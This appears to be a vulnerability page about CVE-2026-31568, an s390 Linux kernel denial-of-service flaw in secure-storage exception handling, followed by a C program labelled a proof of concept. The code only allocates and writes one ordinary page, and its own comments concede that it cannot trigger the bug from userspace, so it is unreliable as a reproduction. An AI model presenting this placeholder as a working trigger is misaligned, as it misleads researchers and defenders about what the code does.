CVE-2026-31568 Linux内核s390内存管理拒绝服务漏洞

/* * PoC Concept for CVE-2026-31568 * Triggering secure storage access exception loop on s390 Linux. * Compile: gcc -o poc_cve2026_31568 poc_cve2026_31568.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> // This PoC attempts to replicate the condition where the kernel // enters a loop trying to fixup secure storage access exceptions. // Requires s390 hardware and Ultravisor enabled. int main() { printf("[+] CVE-2026-31568 PoC Trigger\n"); printf("[+] Attempting to trigger access exception on donated memory...\n"); // Allocate memory that might interact with UV (Ultravisor) // Note: Actual trigger requires specific UV calls or page states // not easily reproducible in userspace without specific kernel config. void *mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap failed"); return 1; } // Simulate access pattern that could lead to the fault // In a real exploit, this would involve making the page // 'donated' then accessing it, forcing the kernel path: // arch_make_folio_accessible -> loop. memset(mem, 0x41, 4096); printf("[+] Memory accessed. If vulnerable, kernel may hang/loop.\n"); // If the kernel is vulnerable and the page state is manipulated // to match the description (donated, no PG_arch_1), // the next access by kernel (e.g., during swap or dump) // could trigger the infinite loop. return 0; }